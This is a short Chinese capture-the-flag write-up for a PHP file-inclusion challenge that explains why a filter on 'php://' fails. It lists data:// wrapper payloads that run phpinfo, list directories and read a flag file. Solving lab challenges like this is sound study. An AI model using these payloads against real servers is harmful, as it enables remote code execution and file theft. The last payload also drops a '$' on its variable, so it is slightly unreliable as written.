32.攻防世界Web_php_include

进入场景

echo $_GET['hello'] 直接将用户通过 GET 方法提交的 hello 参数值输出到页面上,这可能会导致 XSS(跨站脚本攻击)漏洞。

在下面的代码中,虽然对 page 中的 php:// 进行了替换处理,但是仍然存在文件包含漏洞的风险。如果我们能够通过 _GET['page'] 传入一个恶意的文件路径,就可能导致服务器上的任意文件被包含和执行

"file://"是一种用于指定本地文件系统中文件的URI(统一资源标识符)协议。通过"file://"协议,可以在浏览器或其他支持该协议的应用程序中访问本地文件

"data://"协议是 PHP 中的一种数据流协议,它允许将数据作为文件来读取。该协议的语法如下:data:(<mediatype>)(;base64),<data>,其中,<mediatype>是可选的媒体类型,<data>是数据内容。

测试

/?page=data://text/plain,<?php phpinfo()?>

目录路径

/?page=data://text/plain,<?php echo $_SERVER['DOCUMENT_ROOT']; ?>

目录文件

/?page=data://text/plain,<?php print_r(scandir('/var/www')); ?>

读取文件内容

/?page=data://text/plain,<?php a=file_get_contents('fl4gisisish3r3.php'); echo htmlspecialchars(a); ?>

相关推荐
会思考的猴子12 分钟前
UE5 笔记敌人自动追踪
笔记·ue5
wdfk_prog13 分钟前
[Linux]学习笔记系列 -- [fs][drop_caches]
linux·笔记·学习
cike_y24 分钟前
JSP内置对象及作用域&双亲委派机制
java·前端·网络安全·jsp·安全开发
2021_fc27 分钟前
Flink笔记
大数据·笔记·flink
黑客思维者38 分钟前
机器学习006:监督学习【回归算法】(概论)--教AI从历史中预测未来
人工智能·学习·机器学习·监督学习·回归算法
xunyan623441 分钟前
面向对象(下)-内部类的分类
java·学习
UVM_ERROR1 小时前
RDMA Scheduler + TX + Completion RTL 开发经验分享
笔记·vscode·ssh·github·芯片
黑客思维者2 小时前
机器学习003:无监督学习(概论)--机器如何学会“自己整理房间”
人工智能·学习·机器学习·无监督学习
Vizio<2 小时前
STM32HAL库开发笔记-GPIO输入
笔记·stm32·单片机·嵌入式硬件
chinalihuanyu2 小时前
蓝牙开发笔记(BlueTooth,BLE,CH592)
笔记